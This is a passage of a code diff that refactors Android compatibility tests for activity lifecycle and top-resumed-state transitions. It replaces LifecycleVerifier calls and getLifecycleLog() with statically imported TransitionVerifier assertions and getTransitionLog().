state(firstActivity, ON_START));
// Verify that the first activity was restarted
- LifecycleVerifier.assertRestartSequence(FirstActivity.class, getLifecycleLog());
+ assertRestartSequence(FirstActivity.class, getTransitionLog());
}
}
@@ -254,27 +267,26 @@
occludedActivityState(translucentActivity, secondTranslucentActivity));
// Finish top translucent activity
- getLifecycleLog().clear();
+ getTransitionLog().clear();
secondTranslucentActivity.finish();
waitAndAssertActivityStates(state(translucentActivity, ON_RESUME));
waitAndAssertActivityStates(state(secondTranslucentActivity, ON_DESTROY));
- LifecycleVerifier.assertResumeToDestroySequence(SecondTranslucentActivity.class,
- getLifecycleLog());
- LifecycleVerifier.assertSequence(TranslucentActivity.class, getLifecycleLog(),
- Arrays.asList(ON_RESUME), "destroy");
- LifecycleVerifier.assertEmptySequence(FirstActivity.class, getLifecycleLog(), "destroy");
+ assertResumeToDestroySequence(SecondTranslucentActivity.class,
+ getTransitionLog());
+ assertSequence(TranslucentActivity.class, getTransitionLog(),
+ Collections.singletonList(ON_RESUME), "destroy");
+ assertEmptySequence(FirstActivity.class, getTransitionLog(), "destroy");
// Finish first translucent activity
- getLifecycleLog().clear();
+ getTransitionLog().clear();
translucentActivity.finish();
waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
waitAndAssertActivityStates(state(translucentActivity, ON_DESTROY));
- LifecycleVerifier.assertResumeToDestroySequence(TranslucentActivity.class,
- getLifecycleLog());
- LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
- Arrays.asList(ON_RESUME), "secondDestroy");
+ assertResumeToDestroySequence(TranslucentActivity.class, getTransitionLog());
+ assertSequence(FirstActivity.class, getTransitionLog(),
+ Collections.singletonList(ON_RESUME), "secondDestroy");
}
@Test
@@ -284,15 +296,15 @@
waitAndAssertActivityStates(state(bottomActivity, ON_STOP));
// Finish the activity on the bottom
- getLifecycleLog().clear();
+ getTransitionLog().clear();
bottomActivity.finish();
// Assert that activity on the bottom went directly to destroyed state, and activity on top
// did not get any lifecycle changes.
waitAndAssertActivityStates(state(bottomActivity, ON_DESTROY));
- LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
- Arrays.asList(ON_DESTROY), "destroyOnBottom");
- LifecycleVerifier.assertEmptySequence(SecondActivity.class, getLifecycleLog(),
+ assertSequence(FirstActivity.class, getTransitionLog(),
+ Collections.singletonList(ON_DESTROY), "destroyOnBottom");
+ assertEmptySequence(SecondActivity.class, getTransitionLog(),
"destroyOnBottom");
}
@@ -321,7 +333,7 @@
waitAndAssertActivityStates(state(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED),
state(ResultActivity.class, ON_DESTROY));
- LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+ assertOrder(getTransitionLog(), Arrays.asList(
// Base launching activity starting.
transition(LaunchForResultActivity.class, ON_CREATE),
transition(LaunchForResultActivity.class, ON_START),
@@ -352,7 +364,7 @@
activity.finish();
waitAndAssertActivityStates(state(activity, ON_DESTROY));
- LifecycleVerifier.assertLaunchAndDestroySequence(FirstActivity.class, getLifecycleLog());
+ assertLaunchAndDestroySequence(FirstActivity.class, getTransitionLog());
}
@Test
@@ -385,7 +397,7 @@
launcher.launch();
waitAndAssertActivityStates(state(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED));
- LifecycleVerifier.assertEntireSequence(Arrays.asList(
+ assertEntireSequence(Arrays.asList(
transition(NoDisplayActivity.class, ON_CREATE),
transition(CallbackTrackingActivity.class, ON_CREATE),
transition(CallbackTrackingActivity.class, ON_START),
@@ -393,7 +405,7 @@
transition(CallbackTrackingActivity.class, ON_RESUME),
transition(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED),
transition(NoDisplayActivity.class, ON_DESTROY)),
- getLifecycleLog(), "trampolineLaunch");
+ getTransitionLog(), "trampolineLaunch");
}
/** @see #testTrampolineWithAnotherProcess */
@@ -413,7 +425,7 @@
.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
waitAndAssertActivityStates(
state(SecondProcessCallbackTrackingActivity.class, ON_TOP_POSITION_GAINED));
- getLifecycleLog().clear();
+ getTransitionLog().clear();
testTrampolineWithAnotherProcess();
}
@@ -444,11 +456,11 @@
public void testRelaunchResumed() throws Exception {
final Activity activity = launchActivityAndWait(FirstActivity.class);
- getLifecycleLog().clear();
+ getTransitionLog().clear();
getInstrumentation().runOnMainSync(activity::recreate);
waitAndAssertActivityStates(state(activity, ON_RESUME));
- LifecycleVerifier.assertRelaunchSequence(FirstActivity.class, getLifecycleLog(), ON_RESUME);
+ assertRelaunchSequence(FirstActivity.class, getTransitionLog(), ON_RESUME);
}
@Test
@@ -458,11 +470,11 @@
waitAndAssertActivityStates(occludedActivityState(pausedActivity, translucentActivity));
- getLifecycleLog().clear();
+ getTransitionLog().clear();
getInstrumentation().runOnMainSync(pausedActivity::recreate);
waitAndAssertActivityStates(state(pausedActivity, ON_PAUSE));
- LifecycleVerifier.assertRelaunchSequence(FirstActivity.class, getLifecycleLog(), ON_PAUSE);
+ assertRelaunchSequence(FirstActivity.class, getTransitionLog(), ON_PAUSE);
}
@Test
@@ -472,12 +484,11 @@
waitAndAssertActivityStates(state(stoppedActivity, ON_STOP));
- getLifecycleLog().clear();
+ getTransitionLog().clear();
getInstrumentation().runOnMainSync(stoppedActivity::recreate);
waitAndAssertActivityStates(state(stoppedActivity, ON_STOP));
- LifecycleVerifier.assertRelaunchSequence(FirstActivity.class, getLifecycleLog(),
- ON_STOP);
+ assertRelaunchSequence(FirstActivity.class, getTransitionLog(), ON_STOP);
}
@Test
@@ -507,7 +518,7 @@
return;
}
- getLifecycleLog().clear();
+ getTransitionLog().clear();
final int current = rotationSession.get();
// Set new rotation to cause a configuration change.
@@ -526,11 +537,10 @@
// Assert that the top activity was relaunched.
waitAndAssertActivityStates(state(topOpaqueActivity, ON_RESUME));
- LifecycleVerifier.assertRelaunchSequence(
- SecondActivity.class, getLifecycleLog(), ON_RESUME);
+ assertRelaunchSequence(SecondActivity.class, getTransitionLog(), ON_RESUME);
// Finish the top activity
- getLifecycleLog().clear();
+ getTransitionLog().clear();
topOpaqueActivity.finish();
// Assert that the translucent activity and the activity visible behind it were
@@ -538,13 +548,13 @@
waitAndAssertActivityStates(state(becomingVisibleActivity, ON_PAUSE),
state(translucentActivity, ON_RESUME));
- LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
- Arrays.asList(ON_DESTROY, ON_CREATE, ON_START, ON_RESUME,
- ON_PAUSE), "becomingVisiblePaused");
+ assertSequence(FirstActivity.class, getTransitionLog(),
+ Arrays.asList(ON_DESTROY, ON_CREATE, ON_START, ON_RESUME, ON_PAUSE),
+ "becomingVisiblePaused");
final List<String> expectedSequence =
Arrays.asList(ON_DESTROY, ON_CREATE, ON_START, ON_RESUME);
- LifecycleVerifier.assertSequence(TranslucentActivity.class, getLifecycleLog(),
- expectedSequence, "becomingVisibleResumed");
+ assertSequence(TranslucentActivity.class, getTransitionLog(), expectedSequence,
+ "becomingVisibleResumed");
}
@Test
@@ -569,7 +579,7 @@
ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP,
ON_RESTART, ON_START, ON_ACTIVITY_RESULT, ON_RESUME,
ON_TOP_POSITION_GAINED);
- LifecycleVerifier.assertSequence(LaunchForwardResultActivity.class, getLifecycleLog(),
+ assertSequence(LaunchForwardResultActivity.class, getTransitionLog(),
expectedSequence, "becomingVisibleResumed");
}
@@ -591,8 +601,7 @@
final List<String> sequenceWithStop =
Arrays.asList(ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
ON_PAUSE, ON_STOP, ON_RESTART, ON_START, ON_ACTIVITY_RESULT, ON_RESUME);
- LifecycleVerifier.assertSequenceMatchesOneOf(LaunchForResultActivity.class,
- getLifecycleLog(),
+ assertSequenceMatchesOneOf(LaunchForResultActivity.class, getTransitionLog(),
Arrays.asList(expectedSequence, sequenceWithStop), "activityResult");
}
@@ -629,8 +638,8 @@
}
waitForActivityTransitions(LaunchForResultActivity.class, expectedSequences);
- LifecycleVerifier.assertSequence(LaunchForResultActivity.class,
- getLifecycleLog(), expectedSequences, "activityResult");
+ assertSequence(LaunchForResultActivity.class, getTransitionLog(), expectedSequences,
+ "activityResult");
}
@Test
@@ -638,12 +647,11 @@
final Activity trackingActivity = launchActivityAndWait(CallbackTrackingActivity.class);
// Call "recreate" and assert sequence
- getLifecycleLog().clear();
+ getTransitionLog().clear();
getInstrumentation().runOnMainSync(trackingActivity::recreate);
waitAndAssertActivityStates(state(trackingActivity, ON_TOP_POSITION_GAINED));
- LifecycleVerifier.assertSequence(CallbackTrackingActivity.class,
- getLifecycleLog(),
+ assertSequence(CallbackTrackingActivity.class, getTransitionLog(),
Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY,
ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED),
"recreate");
@@ -660,12 +668,11 @@
waitAndAssertActivityStates(occludedActivityState(trackingActivity, translucentActivity));
// Call "recreate" and assert sequence
- getLifecycleLog().clear();
+ getTransitionLog().clear();
getInstrumentation().runOnMainSync(trackingActivity::recreate);
waitAndAssertActivityStates(occludedActivityState(trackingActivity, translucentActivity));
- LifecycleVerifier.assertSequence(CallbackTrackingActivity.class,
- getLifecycleLog(),
+ assertSequence(CallbackTrackingActivity.class, getTransitionLog(),
Arrays.asList(ON_STOP, ON_DESTROY, ON_CREATE, ON_START,
ON_POST_CREATE, ON_RESUME, ON_PAUSE),
"recreate");
@@ -681,7 +688,7 @@
waitAndAssertActivityStates(state(trackingActivity, ON_STOP));
// Call "recreate" and assert sequence
- getLifecycleLog().clear();
+ getTransitionLog().clear();
getInstrumentation().runOnMainSync(trackingActivity::recreate);
waitAndAssertActivityStates(state(trackingActivity, ON_STOP));
@@ -694,8 +701,8 @@
ON_POST_CREATE, ON_RESUME, ON_PAUSE, ON_STOP);
}
- LifecycleVerifier.assertSequence(
- CallbackTrackingActivity.class, getLifecycleLog(), callbacks, "recreate");
+ assertSequence(
+ CallbackTrackingActivity.class, getTransitionLog(), callbacks, "recreate");
}
/**
@@ -754,7 +761,7 @@
waitAndAssertActivityStates(state(recreatingActivity, ON_STOP));
// Launch the activity again to recreate
- getLifecycleLog().clear();
+ getTransitionLog().clear();
new Launcher(SingleTopActivity.class)
.setFlags(FLAG_ACTIVITY_NEW_TASK)
.setExtraFlags(EXTRA_RECREATE)
@@ -774,8 +781,8 @@
}
waitForActivityTransitions(SingleTopActivity.class, expectedRelaunchSequence);
- LifecycleVerifier.assertSequence(SingleTopActivity.class, getLifecycleLog(),
- expectedRelaunchSequence, "recreate");
+ assertSequence(SingleTopActivity.class, getTransitionLog(), expectedRelaunchSequence,
+ "recreate");
}
@Test
@@ -783,17 +790,17 @@
// Launch a singleTop activity
launchActivityAndWait(SingleTopActivity.class);
- LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class, getLifecycleLog());
+ assertLaunchSequence(SingleTopActivity.class, getTransitionLog());
// Try to launch again
- getLifecycleLog().clear();
+ getTransitionLog().clear();
new Launcher(SingleTopActivity.class)
.setFlags(FLAG_ACTIVITY_NEW_TASK)
.setNoInstance()
.launch();
// Verify that the first activity was paused, new intent was delivered and resumed again
- LifecycleVerifier.assertSequence(SingleTopActivity.class, getLifecycleLog(),
+ assertSequence(SingleTopActivity.class, getTransitionLog(),
Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_NEW_INTENT, ON_RESUME,
ON_TOP_POSITION_GAINED), "newIntent");
}
@@ -802,7 +809,7 @@
public void testOnNewIntentFromHidden() throws Exception {
// Launch a singleTop activity
final Activity singleTopActivity = launchActivityAndWait(SingleTopActivity.class);
- LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class, getLifecycleLog());
+ assertLaunchSequence(SingleTopActivity.class, getTransitionLog());
// Launch something on top
final Activity secondActivity = new Launcher(SecondActivity.class)
@@ -813,7 +820,7 @@
waitAndAssertActivityStates(state(singleTopActivity, ON_STOP));
// Try to launch again
- getLifecycleLog().clear();
+ getTransitionLog().clear();
new Launcher(SingleTopActivity.class)
.setFlags(FLAG_ACTIVITY_NEW_TASK)
.setNoInstance()
@@ -827,15 +834,14 @@
expectedSequence = Arrays.asList(ON_RESTART, ON_START, ON_NEW_INTENT, ON_RESUME,
ON_TOP_POSITION_GAINED);
}
- LifecycleVerifier.assertSequence(SingleTopActivity.class, getLifecycleLog(),
- expectedSequence, "newIntent");
+ assertSequence(SingleTopActivity.class, getTransitionLog(), expectedSequence, "newIntent");
}
@Test
public void testOnNewIntentFromPaused() throws Exception {
// Launch a singleTop activity
final Activity singleTopActivity = launchActivityAndWait(SingleTopActivity.class);
- LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class, getLifecycleLog());
+ assertLaunchSequence(SingleTopActivity.class, getTransitionLog());
// Launch translucent activity, which will make the first one paused.
launchActivityAndWait(TranslucentActivity.class);
@@ -844,7 +850,7 @@
waitAndAssertActivityStates(state(singleTopActivity, ON_PAUSE));
// Try to launch again
- getLifecycleLog().clear();
+ getTransitionLog().clear();
new Launcher(SingleTopActivity.class)
.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TOP)
.setNoInstance()
@@ -855,8 +861,7 @@
final List<String> expectedSequence =
Arrays.asList(ON_NEW_INTENT, ON_RESUME, ON_TOP_POSITION_GAINED);
waitForActivityTransitions(SingleTopActivity.class, expectedSequence);
- LifecycleVerifier.assertSequence(SingleTopActivity.class, getLifecycleLog(),
- expectedSequence, "newIntent");
+ assertSequence(SingleTopActivity.class, getTransitionLog(), expectedSequence, "newIntent");
}
@Test
@@ -955,8 +960,7 @@
// Launch an activity on top, which will make the first one paused or stopped.
launchActivityAndWait(launchOnTopClass);
- final List<String> expectedSequence =
- LifecycleVerifier.getLaunchAndDestroySequence(activityClass);
+ final List<String> expectedSequence = getLaunchAndDestroySequence(activityClass);
waitAndAssertActivityTransitions(activityClass, expectedSequence, "finish in " + stageName);
}
@@ -966,13 +970,13 @@
launchActivityAndWait(TranslucentCallbackTrackingActivity.class);
waitAndAssertActivityStates(state(bottomActivity, ON_PAUSE));
- getLifecycleLog().clear();
+ getTransitionLog().clear();
waitForIdle();
bottomActivity.finish();
waitAndAssertActivityStates(state(bottomActivity, ON_DESTROY));
- LifecycleVerifier.assertEmptySequence(TranslucentCallbackTrackingActivity.class,
- getLifecycleLog(), "finishBelow");
+ assertEmptySequence(TranslucentCallbackTrackingActivity.class,
+ getTransitionLog(), "finishBelow");
}
@Test
@@ -981,13 +985,12 @@
launchActivityAndWait(FirstActivity.class);
waitAndAssertActivityStates(state(bottomActivity, ON_STOP));
- getLifecycleLog().clear();
+ getTransitionLog().clear();
waitForIdle();
bottomActivity.finish();
waitAndAssertActivityStates(state(bottomActivity, ON_DESTROY));
- LifecycleVerifier.assertEmptySequence(FirstActivity.class, getLifecycleLog(),
- "finishBelow");
+ assertEmptySequence(FirstActivity.class, getTransitionLog(), "finishBelow");
}
@Test
@@ -1012,7 +1015,7 @@
waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
// Verify the result have been sent back to original activity
- LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+ assertTransitionObserved(getTransitionLog(),
transition(SingleTopActivity.class, ON_ACTIVITY_RESULT),"activityResult");
}
@@ -1022,11 +1025,11 @@
.setExtraFlags(EXTRA_ACTIVITY_ON_USER_LEAVE_HINT)
.launch();
- getLifecycleLog().clear();
+ getTransitionLog().clear();
launchActivityAndWait(SecondActivity.class);
waitAndAssertActivityStates(state(FirstActivity.class, ON_STOP));
- LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+ assertTransitionObserved(getTransitionLog(),
transition(FirstActivity.class, ON_USER_LEAVE_HINT),"userLeaveHint");
}
@@ -1036,13 +1039,13 @@
.setExtraFlags(EXTRA_ACTIVITY_ON_USER_LEAVE_HINT)
.launch();
- getLifecycleLog().clear();
+ getTransitionLog().clear();
new Launcher(SecondActivity.class)
.setFlags(FLAG_ACTIVITY_NO_USER_ACTION | FLAG_ACTIVITY_NEW_TASK)
.launch();
waitAndAssertActivityStates(state(FirstActivity.class, ON_STOP));
- LifecycleVerifier.assertTransitionNotObserved(getLifecycleLog(),
+ assertTransitionNotObserved(getTransitionLog(),
transition(FirstActivity.class, ON_USER_LEAVE_HINT),"userLeaveHint");
}
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
index fffce55..9d9fd6a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
@@ -39,7 +39,20 @@
import static android.server.wm.lifecycle.LifecycleConstants.ON_TOP_POSITION_GAINED;
import static android.server.wm.lifecycle.LifecycleConstants.ON_TOP_POSITION_LOST;
import static android.server.wm.lifecycle.LifecycleConstants.getComponentName;
-import static android.server.wm.lifecycle.LifecycleVerifier.transition;
+import static android.server.wm.lifecycle.TransitionVerifier.assertEmptySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertEntireSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertLaunchAndStopSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertLaunchSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertOrder;
+import static android.server.wm.lifecycle.TransitionVerifier.assertRelaunchSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertResumeToDestroySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertResumeToStopSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertStopToResumeSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertStopToResumeSubSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.getLaunchSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.getRelaunchSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.transition;
import static android.view.Display.DEFAULT_DISPLAY;
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
@@ -63,6 +76,7 @@
import org.junit.Test;
import java.util.Arrays;
+import java.util.Collections;
import java.util.List;
/**
@@ -85,31 +99,30 @@
public void testTopPositionAfterLaunch() throws Exception {
launchActivityAndWait(CallbackTrackingActivity.class);
- LifecycleVerifier.assertLaunchSequence(CallbackTrackingActivity.class, getLifecycleLog());
+ assertLaunchSequence(CallbackTrackingActivity.class, getTransitionLog());
}
@Test
public void testTopPositionLostOnFinish() throws Exception {
final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
- getLifecycleLog().clear();
+ getTransitionLog().clear();
activity.finish();
mWmState.waitForActivityRemoved(getComponentName(CallbackTrackingActivity.class));
- LifecycleVerifier.assertResumeToDestroySequence(CallbackTrackingActivity.class,
- getLifecycleLog());
+ assertResumeToDestroySequence(CallbackTrackingActivity.class, getTransitionLog());
}
@Test
public void testTopPositionSwitchToActivityOnTop() throws Exception {
final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
- getLifecycleLog().clear();
- final Activity topActivity = launchActivityAndWait(SingleTopActivity.class);
+ getTransitionLog().clear();
+ launchActivityAndWait(SingleTopActivity.class);
waitAndAssertActivityStates(state(activity, ON_STOP));
- LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class,
- CallbackTrackingActivity.class, getLifecycleLog(),
+ assertLaunchSequence(SingleTopActivity.class,
+ CallbackTrackingActivity.class, getTransitionLog(),
false /* launchingIsTranslucent */);
}
@@ -125,7 +138,7 @@
waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_GAINED));
// Launch second activity on top
- getLifecycleLog().clear();
+ getTransitionLog().clear();
final Class<? extends Activity> secondActivityClass =
SecondProcessCallbackTrackingActivity.class;
launchActivity(new ComponentName(firstActivity, secondActivityClass));
@@ -133,7 +146,7 @@
// Wait and assert top position switch
waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED),
state(firstActivity, ON_STOP));
- LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+ assertOrder(getTransitionLog(), Arrays.asList(
transition(firstActivity.getClass(), ON_TOP_POSITION_LOST),
transition(secondActivityClass, ON_TOP_POSITION_GAINED)),
"launchOnTop");
@@ -152,7 +165,7 @@
final Class<? extends Activity> firstActivityClass = firstActivity.getClass();
// Launch second activity on top
- getLifecycleLog().clear();
+ getTransitionLog().clear();
final Class<? extends Activity> secondActivityClass =
SecondProcessCallbackTrackingActivity.class;
launchActivity(new ComponentName(firstActivity, secondActivityClass));
@@ -160,18 +173,18 @@
// Wait and assert top position switch,
waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED),
state(firstActivity, ON_STOP));
- LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+ assertOrder(getTransitionLog(), Arrays.asList(
transition(secondActivityClass, ON_TOP_POSITION_GAINED),
transition(firstActivityClass, ON_TOP_POSITION_LOST)),
"launchOnTop");
// Wait 5 seconds more to make sure that no new messages received after top resumed state
// released by the slow activity
- getLifecycleLog().clear();
+ getTransitionLog().clear();
Thread.sleep(5000);
- LifecycleVerifier.assertEmptySequence(firstActivityClass, getLifecycleLog(),
+ assertEmptySequence(firstActivityClass, getTransitionLog(),
"topStateLossTimeout");
- LifecycleVerifier.assertEmptySequence(secondActivityClass, getLifecycleLog(),
+ assertEmptySequence(secondActivityClass, getTransitionLog(),
"topStateLossTimeout");
}
@@ -179,13 +192,12 @@
public void testTopPositionSwitchToTranslucentActivityOnTop() throws Exception {
final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
- getLifecycleLog().clear();
- final Activity topActivity = launchActivityAndWait(
- TranslucentCallbackTrackingActivity.class);
+ getTransitionLog().clear();
+ launchActivityAndWait(TranslucentCallbackTrackingActivity.class);
waitAndAssertActivityStates(state(activity, ON_PAUSE));
- LifecycleVerifier.assertLaunchSequence(TranslucentCallbackTrackingActivity.class,
- CallbackTrackingActivity.class, getLifecycleLog(),
+ assertLaunchSequence(TranslucentCallbackTrackingActivity.class,
+ CallbackTrackingActivity.class, getTransitionLog(),
true /* launchingIsTranslucent */);
}
@@ -193,7 +205,7 @@
public void testTopPositionSwitchOnDoubleLaunch() throws Exception {
final Activity baseActivity = launchActivityAndWait(CallbackTrackingActivity.class);
- getLifecycleLog().clear();
+ getTransitionLog().clear();
new Launcher(LaunchForResultActivity.class)
.setExpectedState(ON_STOP)
.setNoInstance()
@@ -206,7 +218,7 @@
waitForActivityTransitions(ResultActivity.class, expectedTopActivitySequence);
final List<Pair<String, String>> observedTransitions =
- getLifecycleLog().getLog();
+ getTransitionLog().getLog();
final List<Pair<String, String>> expectedTransitions = Arrays.asList(
transition(CallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
transition(CallbackTrackingActivity.class, ON_PAUSE),
@@ -231,8 +243,8 @@
public void testTopPositionSwitchOnDoubleLaunchAndTopFinish() throws Exception {
final Activity baseActivity = launchActivityAndWait(CallbackTrackingActivity.class);
- getLifecycleLog().clear();
- final Activity launchForResultActivity = new Launcher(LaunchForResultActivity.class)
+ getTransitionLog().clear();
+ new Launcher(LaunchForResultActivity.class)
.customizeIntent(LaunchForResultActivity.forwardFlag(EXTRA_FINISH_IN_ON_RESUME,
EXTRA_SKIP_TOP_RESUMED_STATE))
// Start the TranslucentResultActivity to avoid activity below stopped sometimes
@@ -251,7 +263,7 @@
ON_START, ON_POST_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED);
waitForActivityTransitions(TranslucentResultActivity.class, expectedTopActivitySequence);
- LifecycleVerifier.assertEntireSequence(Arrays.asList(
+ assertEntireSequence(Arrays.asList(
transition(CallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
transition(CallbackTrackingActivity.class, ON_PAUSE),
transition(LaunchForResultActivity.class, ON_CREATE),
@@ -272,7 +284,7 @@
transition(TranslucentResultActivity.class, ON_STOP),
transition(TranslucentResultActivity.class, ON_DESTROY),
transition(CallbackTrackingActivity.class, ON_STOP)),
- getLifecycleLog(), "Double launch sequence must match");
+ getTransitionLog(), "Double launch sequence must match");
}
@Test
@@ -303,13 +315,13 @@
moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
// Launch second activity to side
- getLifecycleLog().clear();
+ getTransitionLog().clear();
new Launcher(SingleTopActivity.class)
.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
.launch();
// Second activity must be on top now
- LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class, getLifecycleLog());
+ assertLaunchSequence(SingleTopActivity.class, getTransitionLog());
}
@Test
@@ -326,14 +338,14 @@
moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
// Launch second activity to side
- getLifecycleLog().clear();
+ getTransitionLog().clear();
mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
final Activity secondActivity = new Launcher(SingleTopActivity.class)
.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
.launch();
// Switch top between two activities
- getLifecycleLog().clear();
+ getTransitionLog().clear();
mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getPrimarySplitTaskId());
new Launcher(CallbackTrackingActivity.class)
.setFlags(FLAG_ACTIVITY_NEW_TASK)
@@ -342,13 +354,13 @@
waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_GAINED),
state(secondActivity, ON_TOP_POSITION_LOST));
- LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
- Arrays.asList(ON_TOP_POSITION_GAINED), "switchTop");
- LifecycleVerifier.assertSequence(SingleTopActivity.class, getLifecycleLog(),
- Arrays.asList(ON_TOP_POSITION_LOST), "switchTop");
+ assertSequence(CallbackTrackingActivity.class, getTransitionLog(),
+ Collections.singletonList(ON_TOP_POSITION_GAINED), "switchTop");
+ assertSequence(SingleTopActivity.class, getTransitionLog(),
+ Collections.singletonList(ON_TOP_POSITION_LOST), "switchTop");
// Switch top again
- getLifecycleLog().clear();
+ getTransitionLog().clear();
mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
new Launcher(SingleTopActivity.class)
.setFlags(FLAG_ACTIVITY_NEW_TASK)
@@ -357,9 +369,9 @@
waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_LOST),
state(secondActivity, ON_TOP_POSITION_GAINED));
- LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
- Arrays.asList(ON_TOP_POSITION_LOST), "switchTop");
- LifecycleVerifier.assertSequence(SingleTopActivity.class, getLifecycleLog(),
+ assertSequence(CallbackTrackingActivity.class, getTransitionLog(),
+ Collections.singletonList(ON_TOP_POSITION_LOST), "switchTop");
+ assertSequence(SingleTopActivity.class, getTransitionLog(),
Arrays.asList(ON_PAUSE, ON_NEW_INTENT, ON_RESUME, ON_TOP_POSITION_GAINED),
"switchTop");
}
@@ -370,7 +382,7 @@
launchActivityAndWait(SingleTopActivity.class);
// Launch the activity again to observe new intent
- getLifecycleLog().clear();
+ getTransitionLog().clear();
new Launcher(SingleTopActivity.class)
.setFlags(FLAG_ACTIVITY_NEW_TASK)
.setNoInstance()
@@ -392,7 +404,7 @@
waitAndAssertActivityStates(state(singleTopActivity, ON_STOP));
// Launch the single top activity again to observe new intent
- getLifecycleLog().clear();
+ getTransitionLog().clear();
new Launcher(SingleTopActivity.class)
.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TOP)
.setNoInstance()
@@ -400,7 +412,7 @@
waitAndAssertActivityStates(state(topActivity, ON_DESTROY));
- LifecycleVerifier.assertEntireSequence(Arrays.asList(
+ assertEntireSequence(Arrays.asList(
transition(CallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
transition(CallbackTrackingActivity.class, ON_PAUSE),
transition(SingleTopActivity.class, ON_RESTART),
@@ -410,7 +422,7 @@
transition(SingleTopActivity.class, ON_TOP_POSITION_GAINED),
transition(CallbackTrackingActivity.class, ON_STOP),
transition(CallbackTrackingActivity.class, ON_DESTROY)),
- getLifecycleLog(), "Single top resolution sequence must match");
+ getTransitionLog(), "Single top resolution sequence must match");
}
@Test
@@ -424,7 +436,7 @@
waitAndAssertActivityStates(state(singleTopActivity, ON_PAUSE));
// Launch the single top activity again to observe new intent
- getLifecycleLog().clear();
+ getTransitionLog().clear();
new Launcher(SingleTopActivity.class)
.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TOP)
.setNoInstance()
@@ -432,7 +444,7 @@
waitAndAssertActivityStates(state(topActivity, ON_DESTROY));
- LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+ assertOrder(getTransitionLog(), Arrays.asList(
transition(TranslucentCallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
transition(TranslucentCallbackTrackingActivity.class, ON_PAUSE),
transition(SingleTopActivity.class, ON_NEW_INTENT),
@@ -446,12 +458,11 @@
final Activity topActivity = launchActivityAndWait(CallbackTrackingActivity.class);
// Press HOME and verify the lifecycle
- getLifecycleLog().clear();
+ getTransitionLog().clear();
pressHomeButton();
waitAndAssertActivityStates(state(topActivity, ON_STOP));
- LifecycleVerifier.assertResumeToStopSequence(CallbackTrackingActivity.class,
- getLifecycleLog());
+ assertResumeToStopSequence(CallbackTrackingActivity.class, getTransitionLog());
}
